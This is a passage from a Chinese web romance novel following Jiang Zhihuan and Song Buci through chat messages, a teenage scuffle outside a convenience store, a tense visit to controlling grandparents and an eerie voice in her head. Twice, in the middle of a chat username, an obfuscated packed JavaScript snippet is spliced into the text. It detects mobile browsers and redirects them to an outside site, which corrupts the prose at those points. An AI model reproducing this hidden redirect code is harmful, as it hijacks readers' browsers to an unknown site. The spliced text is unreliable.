“没错。”傅琳赞成道,“要求也不高,你以后的对象怎么着也得比我们略胜一筹,轻微差异的话……也行。” 后半句话听起来还挺勉为其难。 “……” 姜知幻看着对面摆起谱来的两人,一个是在几个月前拿下了普利兹克奖的著名建筑师,一个是在海外令人闻风丧胆的商业大亨。 且不说以后的对象,这标准,连她自己都不一定达到。 “知道了。”姜知幻跟两人碰杯,“爸妈,中秋节快乐。” 傅琳看了眼被她咬得参差不齐、布满齿痕的吸管,顿时皱眉,强迫症犯了,“你这咬吸管的毛病就不能改改?” 桌上手机屏幕亮起,有消息发来。 显示备注是个月亮的emoji。 “改,马上就改。”姜知幻敷衍地糊弄道,点开消息。 serendipity:问你个问题 serendipity:一块姜叫姜,那四块姜叫什么? 姜知幻勾唇,思考没过半秒,钢琴曲戛然而止。她朝餐厅中央看了眼,只见一位少女款款走到钢琴前,波浪卷长发随意披肩,身着一条波西米亚风白裙,仙气十足。 少女坐下,修长的手指轻放于琴键上。她冲一个方向弯了弯唇,灰蓝色眼眸深邃明亮,毫不畏惧周围人投向自己或友善、或不怀好意的目光,一举一动优雅大方。 少女收回目光,琴声随着她的眼睫垂下而响起。 曲调耳熟能详,是JohannPachelbel的《D大调卡农》。 “Socaptivating.”姜知幻惊叹。 因父母的工作原因,她从小接触的外国人不少,混血儿也有,帅和美都各有风格。但还从来碰到过这类型的美女,张扬夺目、极具冲击力的美。 上一次让她有这种感觉的还是闻雨。 美人不分性别,所以姜知幻并不认为用“漂亮”描述男生的外貌有何不妥。不过能完美适配“漂亮”二字又深入人心的,闻雨是头一个。 欣赏美是人的本能,同为颜控的傅琳顺着她的视线看去,眼底瞬间浮现出一抹惊喜之色,连话都没跟姜陆予说了。 被冷落的姜陆予:“……” 视线再次回到手机上,姜知幻想了想。 姜郎不才尽:姜sir? 隔了几分钟,宋不辞回复了一条语音。她将听筒凑近耳边,点开。 “是姜姜姜姜~” 少年的嗓音贴着耳朵钻入,磁性散漫,语调似笑又似在逗小孩。 姜知幻忍俊不禁,慢慢打下两个字。 姜郎不才尽:幼稚 serendipity:吃月饼没? 姜知幻对着餐桌上的甜品拍了张照片发过去。 姜郎不才尽:吃的冰淇淋月饼,没有饼,只有冰淇淋 姜郎不才尽:你呢? serendipity:[图片] serendipity:月亮味的吃过吗?只有月,没有饼 拍的是天上的月亮。 姜知幻乐了。 姜郎不才尽:我怎么觉得咱俩都有病 serendipity:说明咱俩是天造地设的一对 姜知幻看着这句话,一时恍了神,打字的指尖肉眼可见地悬停在屏幕上方。 天造地设的一对?她心里默念一遍,嘴角逐渐翘起,干脆地截了屏。 不错的形容,她喜欢。 但也就是在截屏的瞬间,宋不辞又发来两个字。 serendip ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13766259|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ity:闺蜜 姜知幻看着截图中多出的“闺蜜”二字,轻呵一声。 怎么有种搬起石头砸自己的脚的感觉? “你跟谁聊天呢?一秒钟八百个表情。”姜陆予早注意到女儿的一反常态,以前吃饭有新消息发来,她最多也就淡淡看了眼,有时都懒得回复。 傅琳微眯起眼睛看姜知幻,问:“谈恋爱了?” “没。”姜知幻吸了口饮料,“闺蜜。” 不想维持闺蜜关系的男闺蜜。 “闺蜜?” 夫妻俩听这个词从女儿口中说出,实在觉得稀奇。因为姜知幻从不提自己那些朋友,问也都是两人名利场中合作伙伴的儿子女儿。 似乎,在女儿心里,没有纯粹的友情,都是由利益决定深浅。于她而言,交朋友更像是一场有回报的投资。 傅琳和姜陆予并不否定这种处世观念,毕竟通透而心狠手辣,才是在社会立足的根本。不过还是希望她能有一两个知心朋友。 朋友,姜知幻其实是不缺的,甚至有一堆。 微信里躺着的那几个群,成员们聊得热火朝天,时不时就会提她两嘴,她现在随便发个句号,大多人都会发各种锣鼓喧天的表情包表示欢迎回归。 姜知幻达地知根,能有这些待遇,不是她人多好多值得交往,而是家庭背景带来的便利。人际关系方面,她不需要主动就能有一大堆人趋之若鹜,上赶着来搭话。但要论真心实意,那少之又少。 因为,学校就是个小型社会。 转到三中前,姜知幻始终肯定这个说法。可现在却有些动摇,想起韦枫玥、冯潇潇和齐思,想起宋不辞……不对,她和宋不辞成为不了朋友。 要么恨到一刀两断,要么爱到无法摆脱。 她和他之间,只会有这两种选择。 “看来是个很好的人。”傅琳说,有关女儿的隐私问题,她从不刨根问底,给足了尊重与信任。 姜知幻扬眉笑笑,没说是,也没说不是。她低头,给宋不辞发了四个字,一个标点。 姜郎不才尽:你在干嘛? - 宋不辞这会儿有点忙,他刚洗完澡,头发都没来得及吹,宋理枝的电话就打来了,语气急切。宋不辞从一堆无关紧要的描述中抓到重点——拜托他帮自己收拾烂摊子。 这个点,就算是夏闲和温玉来电话都不一定叫得动宋不辞。没别的原因,他撩开窗帘,看着禁闭的大门,又扫一眼门外的保安,脑中飘过徐情说过“老实待在家里”几个字。 一天到头都被人死死盯着,除了楼上和他的房间,家里任何角落都有摄像头。想出去还得跟保安斗智斗勇,完了被徐情知道,免不了招来一顿冷嘲热讽,严重点,可能会重新在他手机里安装定位。 怎么算,都是笔亏本买卖。偏偏找他的人是宋理枝,宋不辞无法忍心拒绝。 脑中忽然响起一道诡异的声音。 “这都是你欠他的。” “喵。” 喵你大爷。 宋不辞对着空气翻了个白眼,人却没闲着,将放在床头柜上的链条戴上,用毛巾胡乱擦几下头发,从衣柜里随手抓了两件衣物换上,最后扣上一顶黑色鸭舌帽。 收拾得差不多,他关掉灯,拿起手机,没有犹豫地推开卧室门。 14. Chase 南华路有家便利店,名叫猜你饿了。整体装修是炫酷的赛博朋克风,店外摆着两套连体桌椅,被两把户外伞笼罩,皆是一红一蓝的配色。 这家店的地理位置较偏,人流量不大,今晚却非比寻常,店外出其的热闹。 “我哥,巴西柔术红带,识相点的就赶紧让开。” “哦呦呦真了不起,那又怎样,我哥还会旋风三连踢呢!” …… 隔老远宋不辞就听见宋理枝大放厥词,他没急着先过去,而是在路边随便挑了个石墩子坐下,静观不远处的一群人,想听听那小兔崽子会不会把他吹到天上去。 巴西柔术红带?我咋不知道我这么牛逼呢。 宋理枝被四五个男生围着,看起来约莫都是十三四岁的年纪,长相和声音还稚气未脱,但也许是对方人数上占优势的原因,身上有股日天日地的狂妄。 为首的小霸王高高瘦瘦,瞅着弱不禁风,却是最狂得没边儿的那个。 不过,这一切落在宋不辞眼中就跟小学生吵架没差,还是群电视剧看多了的小学生。 关键宋理枝一点都不肯辜负他的期待,语出惊人道:“我哥会双重旋风三连踢。” 他说出这话时,一位齐肩短发的女生恰好从旁边经过,估计是没想到会在这儿遇上攀比欲极强的神经病,还不止一个,所以没忍住偏头,不轻不重地朝几人撂下一眼,又很快收回视线,毫不在意地走进便利店。 小霸王目露讥诮,不削道:“我哥敢一个人看鬼片!” “我哥也敢。” “我哥敢跳楼!” “我哥……” 跳什么东西? 坐在两米开外的宋不辞蹭地一下站起来,连忙走过去,打断宋理枝即将要说出口的话:“你小子在外就是这么宣传我的?” 差点让他英年早逝。 几个小屁孩扭头看向宋不辞,脸上或多或少都有点懵逼,没想到宋理枝还真把他哥叫来了。宋理枝则是将头撇到一边,不看他,心虚地摸摸鼻子。 小霸王仰头,见宋不辞身高碾压众人,心里莫名忐忑了下。但他可是大哥,身后几个小弟都看着呢,要是表现出怯场的模样,面子就丢大发了。 于是为了不输气势,小霸王怒气冲冲地指着宋理枝鼻子骂,“傻逼你是不是玩不起?你不挺能打的吗,放狠话说能一挑五!” 宋不辞挑眉,看了宋理枝一眼,对方依旧不肯把脑袋摆正。 “小朋友,有什么矛盾好好说,骂人多伤和气。”宋不辞笑眯眯道,试图以德服人。 他虽是个混蛋,倒也不至于混蛋到跟小屁孩干仗。再说了,打架多不文明啊。 “切,你算哪根葱?这么说显得自己多正义似的。”小霸王扁嘴,冲宋不辞做鬼脸。 宋不辞视而不见,转头询问宋理枝发生了什么。 “他偷拿我游戏币,我骂了他,他不服气,所以带人来堵我。”宋理枝三言两语解释完,恶狠狠地瞪了小霸王一眼。 宋不辞垂眸,看见宋理枝紧握着拳头,手背青筋暴突。他眉头轻皱,整个人挡在宋理枝面前,阻隔了其他几人的视线。 “他先惹的事,我会让他给你道歉。但暴力解决不了任何问题,你先把拳头松开,好不好?”宋不辞抬手在他脑袋上随意挼了两下,温声安抚。 “不好。”宋理枝瞥他,神情漠然,“你让开。” 宋不辞没动,沉默地盯着他。 他能感受到宋理枝的情绪波动很大,一身戾气都在叫嚣,如果再不让开,恐怕下一秒他就会对自己动手。 “平安,消消气。”宋不辞双手插兜,气定神闲地俯下身,凑在宋理枝耳边,用仅两个人能听见的音量说。 他叫的是他的小名。 宋理枝顿时火冒三丈,一把推开他,“你也配叫这两个字?” “我好歹也算是你哥,连个小名都不让叫?啧啧,太伤哥哥的心了吧。”宋不辞心平气和,被推开也不恼,往后酿跄几步,心说这小子劲儿挺大,差点没站稳。 宋理枝欲要反驳,结果看见他的后颈皮肤在路灯的照射下,有些润亮,发尾貌似在滴水。 他愣住,动了动唇却没话说,浑身怒气消了些许。 宋不辞看着他慢慢放开的拳头,松了口气。 还好,还是把他当哥。 “诶,宋理枝他哥的头发是不是在滴水?” “流这么多汗,是跑过来的吧?” “有一说一,他哥是真帅,人也讲理,好声好气地跟宋理枝交流。” “宋理枝长得也不差,看着高冷而已,上次我问他借笔,他直接送我了。” “我也觉得他人挺好的,这件事本来不是他的错……” 小霸王听见背后小弟们的议论,心里泛酸,尤其是听到他们夸宋理枝,话里话外貌似还有反水的意思,更加不是滋味了。 “喂,傻逼他哥!”他咬牙切齿,瞠目一喝,举起拳头就朝宋不辞地方向跑去。 宋不辞的注意力还在宋理枝身上,闻言,他转身,刚想说“朋友,你这么骂人我可就不乐意听了”,不曾想迎面挨了一拳。 “草。”宋理枝心里那股硬生生压下的火登时复燃,三两步上前,还没来得及踹小霸王一脚,宋不辞伸手拦住了他。 … 五分钟后,便利店门口。 宋不辞反向坐在红色椅子上,背靠桌子边缘,手里拿着瓶冰水往左脸颊敷。他微抬眼皮,看着跟前面对面站着的两个小屁孩,说:“看着对方,握个手吧。” 握手言和。 小霸王垂头,眼睛盯着地面,没动。 宋理枝冷眼看他,丝毫不觉得他能舍下面子道歉。 “同学,别低头,皇冠会掉。”宋不辞面色无波无澜,用脚尖踢了踢小霸王的鞋跟,语调没什么起伏,淡淡的,又带着一丝要死不活的冷幽默调调。 他不是圣人,被打了还好脸相待,没还手也是念在对方年纪小,懒得计较。 但恰恰是因为他这副调调,以及说的话太让人出戏了,让几个初中生破颜而笑,原有的那点紧张感卸下了不少。 笑声像是会传染,一发不可收拾。 这种气氛就像是一种变相的台阶,小霸王抬头看着宋理枝,神情别扭地握起他的手,干巴巴地说了句:“对不起,偷你的游戏币去玩是我不对。” 他语速飞快,不知道的还以为在唱rap,说完就松手。 “咋,我手上有病毒?”虽略感意外,但宋理枝并不满意他的态度。 宋不辞踢了踢他的鞋跟。 宋理枝眉眼耷拉,不情不愿地说:“对不起,差点把你打破相了。” 宋不辞:“……” 拽弟挺倔。 “没事,小问题啦。”一旦克服那点别扭的羞耻感,小霸王觉得也没什么大不了。 他扬起笑脸,好哥们似地拍拍宋理枝的肩,整个人生龙活虎,“以后咱俩是兄弟了,想吃什么我请你,就当赔罪。” 说完,小霸王转身,指着便利店,对三个小弟说:“你们也随便选,我买单。” 这下轮到宋理枝别扭了。 这人变脸怎么能变得这么快,这么不计前嫌? “小兄弟,你叫什么名字?”宋不辞头一次见宋理枝这幅模样,乐了,同时觉得小霸王人怪有趣。 小霸王回:“我叫马兆兴,就很多钱那个兆,高兴的兴。” 宋不辞起身,眼睫低垂,看着他那颗圆溜溜的脑袋,没忍住挼了下,觉得手感不如宋理枝,寸头有些扎。 他放下欠手爪子,对马兆兴说:“给哥哥一个表现机会,你就别买单了,让我来。” “成。”马兆兴答应得爽快,又有些不好意思地问,“我能认你当哥吗?” 宋理枝一听,瞬间不乐意了,从来没见过如此厚颜无耻之人,“你不是有哥吗?” 马兆兴尴尬地挠挠头,“我刚才都是为了撑面子瞎说的。” “那你找我哥干嘛?” “你哥帅啊!人也挺好嘿嘿,再说,咱俩都是兄弟了,你哥不就是我哥嘛。” 小学生吵架又开始了。 “行了,两位同学,快进去挑东西。”宋不辞很无语,起身把两人推进便利店,不要脸道,“再帅也不是你们的,别瞎打我的注意。” 他扭头,看了眼其他三个面面相觑的小弟,摆摆手,笑道:“愣着干嘛,都说了我请客。” “谢谢哥!” 三人兴冲冲地跑进店。 宋不辞舔了舔嘴角,尝到丝丝血腥味,他没好气地拧开瓶盖,喝了口冰水。 也不知道破相没。思及此,他掏出手机,想打开相机查看伤况,却看见一个小时前姜知幻发的消息。 姜郎不才尽:你在干嘛? 她一般找不到话题,又想跟他聊天时就爱发这四个字。 宋不辞下意识扯了下唇角,又因疼痛皱眉。 他一手拿冰水,一手持手机,边慢悠悠地踏进店门,边打字回复。 serendipity:在教祖国的花朵们如何友善相处 宋不辞盯着聊天框看了会儿,没有新消息进来,时间已经很晚了,应该是睡了。 于是他发了两个字过去。 serendip ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13777796|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ity:晚安 宋不辞收起手机,打算看看那几个小屁孩挑的怎么样,一抬头,迎面走来一个人,手里拿着盒女士长烟和打火机。 是刚才进店的齐肩短发女生。 两人的目光简单碰了下,女生在宋不辞旁边的冰柜前驻足。 宋不辞眼眸眯起,发觉她的眉眼越看越觉得眼熟。 眼型狭长,圆润的弧度到眼尾又微微上挑,像桃花眼和丹凤眼的结合,左眼角下有颗泪痣。 太像某人了。 “夏野。”宋理枝从另一排货架绕过来,对着女生的背影喊了声。 夏野没回应,手上漫不经心地把玩着打火机,眼睛一错不错地盯着冰柜,神情专注,全然一幅没听见的模样。 “认识?”宋不辞偏头问宋理枝。 “认识,江鸿哥也认识。”宋理枝意味不明地轻嗤一声。 江鸿? 宋不辞再次看向女生。 提到江鸿,夏野终于有了反应。 她确定好目标,打开冰柜拿了罐冰啤,然后合上门转身,没看宋理枝,而是打量了宋不辞两眼,像是在思忖什么。 刚才的注意力全在眉眼上,现在再次看着正脸,宋不辞才发现她的右脸颊红了一大片,巴掌印清晰,嘴角溢着血,下巴颏处还有几条抓痕。 因肤色过于白,所以这些伤显得更加触目惊心。 宋不辞咂舌,他才处理好宋理枝和马兆兴的事儿,所以潜意识以为她跟其他同学打了架,没往其他方面想。 现在的初中生下手都这么狠吗? 夏野什么都没说,默不作声地收回视线,看向宋理枝。 宋理枝看见她脸上的伤,没有讽刺也没有怜悯,只冷笑,“你还真是阴魂不散。” “我现在没心情跟你打嘴仗。”夏野的语气平静如水,略带冷意,像个丧失了生气的病患。 语落,她抬脚就要往收银台走。 “等等,同学。”宋不辞忽地开口,叫住夏野。 夏野回头。 宋不辞上前两步,俨然一副教导主任收手机的气势,趁其不备,直接将她手中的东西收了。 夏野瞧了瞧空空如也的双手,脸上没有任何情绪变化。她静静看着他,眼神仿佛在说“你还想作什么妖”。 啧,更像了。 “未成年禁止吸烟。”宋不辞哂然一笑,晃了晃冰啤,说,“受伤了就去医院,这玩意儿可解不了毒。” 夏野:“……” 这时,兜里的手机响了,看清来电人,她拧眉,径直出了了便利店。 走得干脆利落,剩兄弟俩愣在原地。 宋理枝目光不悦,问宋不辞:“你管她干嘛?” 他这个表哥明明向来不爱管闲事。 “她叫夏野,哪个夏?哪个野?江鸿怎么认识她的?”宋不辞答非所问。 “夏天的夏,闲云野鹤的野。”宋理枝说,“江鸿哥说小时候见过,但她说自己压根不认识江鸿哥。” 夏野,江鸿,小时候见过,左眼角下的泪痣。 除了名字,一切都对得上。 “怎么,你也见过?”宋理枝看他的表情,貌似还有点……惊喜? 宋不辞笑,“见过,小时候的她比现在可爱多了。” “她?可爱?”宋理枝觉得自己听到了一个天大的笑话。 “你们之间有过节?”宋不辞问。 “难道不明显吗?” “因为什么?” 见宋理枝不肯说,宋不辞换了个问题:“她经常被打吗?” 宋理枝扁嘴,似乎不愿承认道:“她比我还能打。” 宋不辞了然地点点头,倒也有迹可循。 “那她在学校过的怎么样?” “不怎么样。”说起这个问题,宋理枝的语气了少了些针锋相对的意味,“被人造黄谣,好几个班都在议论,暂时没扩散到全校。” 宋不辞沉默。 人是找到了,但某人恐怕得愧疚死。 “她到底是谁啊?你和江鸿哥都这么关心。”宋理枝问。 宋不辞把冰啤放回原位,声音不轻不重道:“夏闲他妹。” “他妹妹不是叫夏雨吗?”宋理枝满腹疑惑,转念一想,夏野和夏闲长得确实有点像,尤其是眉眼。 “哥,我们挑好了!” 马兆兴和其他三人推着两购物车的零食过来,一声哥叫得那叫一个亲热。 宋理枝皮笑肉不笑道,“你还真不把自己当外人啊。” “可能是改名了。”宋不辞拍拍他的肩说,慢步走过去,亮出二维码,等待结账。 15. Chase “你外婆生病了,想见你。” 清晨的风吹鼓窗帘,丝缕凉意拂过发丝和脸颊。姜知幻坐在床上,指尖轻点免提,人还处于半梦半醒的状态。 她的思绪滞带不过半秒,没问病因,只说:“我马上订机票。” “订最早的。” 那头的傅凌杰声音冷沉,带着刻不容缓的利落,仿若只要晚到一秒就再也见不到外婆。 姜知幻抓了抓凌乱的长发,强忍起床气,低“嗯”一声。她下床,趿拉着拖鞋走到窗前,关紧窗户,将微弱的风声隔断。 通话到此结束,姜知幻也没耽搁,按傅凌杰的话订了最早飞往江城的那班机票——上午九点。 现在八点零几分,洗漱完打车过去,来得及。 姜知幻在心里计划好,打了个哈欠,走进浴室。 感冒?发烧?还是吃坏东西了? 她边刷牙,边猜测着周知敏可能会说的病因。 姜知幻出门时,姜陆予已经去公司了,傅琳心情不错,起了个大早,亲自下厨做早餐。 “醒了宝贝?正打算叫你吃早饭。”傅琳拿起碗,准备给她盛八宝粥。 “妈,不用管我。”姜知幻随手拿了个花卷叼着,走到玄关处换鞋。 女儿做事前爱规划,向来有条不紊。傅琳还没见她这么急匆匆过,问:“发生什么事了吗?” “作业没带来,赶回去做作业。”姜知幻苦笑道,“三天假期十几套卷子。” 理由编得充足,语气也十分自然,引不起一丝一毫的怀疑。 平均每科两套。 剩一天半的时间。 傅琳舀了勺粥送进嘴里,中肯地评价了句:“确实该急了。” “走了妈,花卷挺好吃的。” … 姜知幻戴上眼罩,打算睡两个多小时的回笼觉。眯了一会儿,她认命地扯下眼罩,睁开眼。 明明刚在的士上,司机喊了三四声才被叫醒,现在却睡意全无。 飞机开始滑行,慢慢加速。 舷窗上的挡板拉下三分之二,纯白天光泄进,落在姜知幻的手和腿上。 她看了会儿,感觉完全醒透,嫌光亮得晃眼,抬手将剩余的三分之一闭合上。 姜知幻塞上蓝牙耳机,划拉着歌单,犹豫要听哪一首。 “其实你根本不想去看她。” 一道陌生又带点机械的声音突然响起,语气和声调都非常怪异。如果非要形容,有些像学人类说话的猫。 姜知幻手一顿,环视周围,大家都在干自己的事,风平浪静,没有异常。 她垂眼,看着手机,确定没有误点什么广告。 幻觉? 姜知幻心里迟疑,一时半刻想不到更好的理由来解释那句真真切切听见的话。 “不是幻觉。” 怪异的声音再次响起。 姜知幻又看了一圈四周人的反应。 好像只有她能听见。 见鬼了。 姜知幻取下蓝牙耳机,放回耳机盒里。作为坚定不移的唯物主义者,第一次碰上邪门事儿,她觉得应该是耳机出问题了,没往超自然现象地方面想。 这不科学。 “这很科学,嘻嘻。”对方似乎对她的心理了如指掌。 姜知幻:“……” 如果是鬼,那也是只蠢鬼。 “请不要拿鬼这种低级生物跟我相提并论。” “我和你是同类。” 姜知幻想了想,默念咒语。 【天地玄宗,万炁本根。广修亿劫,证吾神通。三界内外,惟道独尊。体有金光……】 “这对我没用。” 声音还在响。 外国鬼? 姜知幻面不改色地换了个咒语。 【Exorcizamuste,omnisimmundusspiritus,omnissatanicapotestas..……】 “你真的很顽固。” 无语至极的语气。 见不起作用,姜知幻放弃挣扎,感觉它不会平白无故伤人,便毫无畏惧地聊了起来。 你到底是什么东西? “我是另一个世界。” 姜知幻不以为然。 哦,我是宇宙。 “……” “你不必了解我是谁,只要知道我是最懂你的人就可以了。” “喵。” 最后一声“喵”叫得俏皮可爱。 之后,无论姜知幻心里想什么,那道声音都不再作答,留她摸不着头脑。 我还汪呢,真把自己当猫了。 姜知幻内心吐槽,忽然灵光一闪,打开手机,看了眼页屏数,是两页。 和从前一样,没有丁点变化。 正当她认为自己真该去看看医生时,却眼睁睁看着页屏数量瞬间变成了三。 姜知幻面沉如水,拇指向左一划,空荡荡的页屏上,那个不久前被她卸载过的软件赫然出现。 ——在线躲猫猫。 - 望庭,周知敏和傅凌杰居住的小区。 周知敏生病,十次有九次都在家待着,鲜少去医院。 如果劝她去医院,她会说:“去医院多浪费钱,我这就是一点小病。再说了,外婆见到你就觉得病好了。” 由此,姜知幻从小就知道,她和周知敏,就像药和医生。 在周知敏看来,她们是密不可分的关系,医生会判断药该如何正确使用。于姜知幻而言,她是不可或缺的存在,医生需要药,她就得出现。 不过,医生开的药就一定正确吗? “外婆,你感觉怎么样?” 姜知幻看着坐在沙发上的周知敏,放下手中拎的袋子,将里面的东西拿出。 一盆鲜艳夺目的长寿花,来的途中顺便买的。 周知敏喜欢她这样做,生病时带花来看望。 “没事,就是切菜时不小心割到手了。”周知敏抬起右手,食指侧有条不长不短的伤口,已经做过止血处理,抹了碘伏。 周知敏切菜的习惯是右手持菜刀,左手拿菜。按理说,左手受伤的几率应该更大。 姜知幻懒得多想,揪心道:“怎么不贴个创口贴?” “小伤而已,看到你我就觉得好多了,一点都不疼了。”周知敏亲切微笑,抚摸花瓣,说,“我们有知真有心。” 姜知幻驾轻就熟地找到医药箱,打开,拿出一张创可贴。她撕开包装,淡笑,“应该的,你不是喜欢吗。” “外婆最喜欢的,还是你来看我。”周知敏看着她小心翼翼地给自己贴上创可贴,内心得到了点安慰,又不禁抱怨,“你爸妈也真是,大过节的还把你带走。每年都这样,自己都不受那老两口待见,还非拉着你去。” “都是家人,总要去看看。”姜知幻说话滴水不漏,平淡地陈述事实,听不出偏向谁的意味。 她合上医药箱,笑,“再说了,我们不是说好不提这些吗?” 周知敏看了她半晌,笑眯眯地说:“你外公在书房等你。” 诚然,这个外孙女不像他们,像她女儿,甚至青出于蓝。有知不是百依百顺的性子,却也比傅琳更懂得变通,清楚一味地抗拒作用不大,便耐着性子绵里藏针,以柔克刚。 “好。” 姜知幻将医药箱放回原位,不慌不忙地朝书房走去。 书房宽阔亮堂,墙上挂着几幅水墨山水画,惟妙惟俏,淋漓尽致,皆出自于傅凌杰之手。 姜知幻进去时,站在红木书桌前的傅凌杰正好放下手中墨笔。 “来了。”傅凌杰看她一眼,语气云淡风轻。 告知外婆生病,催她回来的人,没有半点关心自己老婆的样子。 姜知幻微微颔首,轻“嗯”一声。 “头发怎么没扎?”傅凌杰走到另一张长桌前,抬手,示意她坐。 “来得匆忙,忘了。”姜知幻落座,看着桌上那套青花瓷茶具,觉得画工精致,多盯了几眼。 “背打直,有知。”傅凌杰烧水煮茶,提醒了下她的体态,这才言归正传,“昨天,为什么不留下来?” 姜知幻挺直脊背,凝神,还在想如何对策的话语,但傅凌杰紧接着继续开口:“吃顿饭的时间总是有的,对吗?” “还是因为,你不想留下来?”他双目如潭,凌厉得令人心惊。 直接挑明,根本不给姜知幻打太极的间隙。 要不说这两口子分工明确呢,一个唱红脸一个唱白脸。她就算是条狗,都没有喘气的机会。 姜知幻缄默,不置一词。 因为傅凌杰说的是真的,她就是不想留下,不想在他们身边多呆一秒。 傅凌杰看出外孙女装都不愿装一下,说些讨好的话来顺毛。他冷哼,忽而将手中的茶杯重重一掷,飞溅的碎片险些划到姜知幻的脸,幸好她反应快,抬手挡了下。 可惜了。 姜知幻放下手,看着四分五裂的茶杯,如此想着。 “你就这么讨厌外公外婆吗?难道我们对你不好吗?因为你,每年不计前嫌地去京城为你庆生!因为你,我们才会与你爸妈好好相处!这都是为了你好,你为什么就不肯换位思考一下我们的难处呢?!” 傅凌杰的情绪乍然升温,怒不可遏道,眼神阴鸷,如同在看苦大仇深的敌人。 姜知幻不得不承认,有那么一瞬她真的害怕了。不过很快稳住心神,不理解他口中的“好好相处”是从何得来。 每年来京城时,他们对傅琳和姜陆予照样冷眼相待,只是没说风凉话。 “你们以前,也是这样对待我妈?”姜知幻深吸一口气,竭力抑制忍不住颤索的手,镇定平静地跟他对视。 预料之外的问题。 傅凌杰神情凝重地看着她那双不露怯的眼睛,锋芒甚至比当初的傅琳还要盛。 姜知幻抽了张纸巾,慢条斯理地把碎片清理完,随即起身。 “这些年来,外婆小病不断,每次接到你的通知后,我从未耽搁。”姜知幻眼睫低垂,冲傅凌杰展眉一笑,眼底却是冷冰冰一片。 她语气平和又带着淡淡的挑剔意味,就像他善意提醒她的体态那般,“外公,你们这是心病,还是去医院看看比较好。” 说完,姜知幻转身,头也不回地出了书房。关上门,她后知后觉地松了口气,揉了揉发抖的手腕。 “有知,你没事吧?”周知敏不知何时走到了面前。 “没事。”姜知幻摇摇头,看一眼她右手上贴的创可贴,说,“要到饭点了,外婆你坐着看会儿电视吧,我来做饭。” “有知真会体谅人。”周知敏抬手捏了捏她的脸,笑容慈爱,“外公说的那些话,你别往心里去,他也是为了你好。” 又是这是四个字。 姜知幻没搭腔,一声不吭地往厨房去。 “有知,你要知道,在这个世界上,我们是最爱你的人。”周知敏声音温温和和的,像催眠又像蛊惑。 她说的“我们”,指的是她和傅凌杰,把姜知幻身边的其他人完全排除在外。 … 姜知幻做好饭菜就走人了,任凭周知敏如何挽留,她都没心软留下。 每次来这里,只有踏出小区门口,她才感觉自己真正活了过来。 照例在路边拦了辆出租车,报地址时,到嘴的话莫名打了个转,变成了三个字:“临滨路。” 姜知幻点开微.信,看着与宋不辞的聊天记录,最后一条是他昨晚发的那句“晚安”。 她咬了咬唇角,息屏,降下车窗,想借凉风平息心头的烦躁,没成想极则必反,那股躁火越来越旺,燃到最后,还有点难受。 突然有点想见他。 姜知幻不犹豫,直接给宋不辞拨了电话。 他的微信号就是手机号。 那头“嘟嘟”两声,接通。 宋不辞懒洋洋地“喂”了声,语气似春风般轻柔,挺不正经地喊:“小姜老师。” “宋不辞。”姜知幻叫他的名字,闷声闷气道,“可以见一面吗?就现在。” “在哪儿?”听出她的情绪不对劲,宋不辞收起平时开玩笑的散漫,问。 姜知幻:“临滨路。” “好,我马上来。” … 姜知幻先到,站在之前和宋不辞看日落的地方等他。 “你想寻找的原因,似乎已经找到了呀。” 未知生物又说话了。 姜知幻现在的心情丧到极点,连心理活动都没有,直愣愣地盯着江面。 “长辈之间的矛盾,你为什么要承担?你没错,错的是你的父母。”未知生物不依不饶道,特别擅长热脸贴冷屁股。 滚。 姜知幻摸出手机,划到第三页负屏,在线躲猫猫的图标是动态的,一只猫追着一串小鱼干到处跑。她点了下,打算进软件一探究竟。 可不论点多少下都无动于衷,界面保持原样,没有跳转。 “你现在还没有加入游戏的资格。”未知生物说。 姜知幻心烦意燥地吐了口气,望着江水。 “亲,扔江里也没有哦。” 意思是,我拿你没办法? 姜知幻问。 “是的呢。” 那你继续逼逼,洗脑成功算我输。 姜知幻冷冷道。 你跟我外公外婆才是同类。 末了,她补充。 都想让她服从,让她顺着他们的话。 “我只不过是说出了你内心最真实的想法罢了,你讨厌被驯服的感觉,却依然想驯服他,不是吗?”未知生物字字紧逼道。 姜知幻立刻明白它说的“他”指的是谁,顿时震惊。 她以为它只是能听到心声而已,没想到,自己最丑陋的一面,最邪恶的心思,在它那里竟都无所遁形。 “别假清高了,你跟我们没什么两样。” 未知生物的笑声带着几分癫狂,伴随滋啦的电音,语调逐渐变得扭曲。 姜知幻揉了揉突突跳的太阳穴,怀疑自己是不是精神分裂了。恰在这时,手里的手机振了下。 serendipity:回头 姜知幻转身。 街道两旁树木葱茏,阳光透过枝叶缝隙,洒到地面,而宋不辞正站在光影交错处,姿态懒散悠然,整个人看起来自在极了。 路人来来往往,行色匆匆,他的目光穿过熙攘人海,只落在她身上。那双桃花眼干净清透,像雨后有彩虹的晴空,闪烁着光,却也脉脉含情。 交换眼光的刹那,少年抬脚向她走来。 姜知幻指尖轻动,有一瞬间觉得,他就像枝叶缝隙间透出的光,让她下意识想要伸手去抓住。 唯一美中不足的便是,宋不辞左脸颊青了一块。 她脸色倏地沉郁下来。 “别矫心饰貌了,你不是很想困住他吗?机会一直都有。” 未知生物的话如恶魔耳语,充满诱惑。 姜知幻咽了咽喉,手没动,别开眼, “姜知幻,抬下手。”宋不辞站定在她面前,说。 姜知幻心乱如麻,听到“抬下手”三个字,手比脑子快,一把抓住他的右手。 似乎摸到了什么金属质地的东西,有点冰凉。 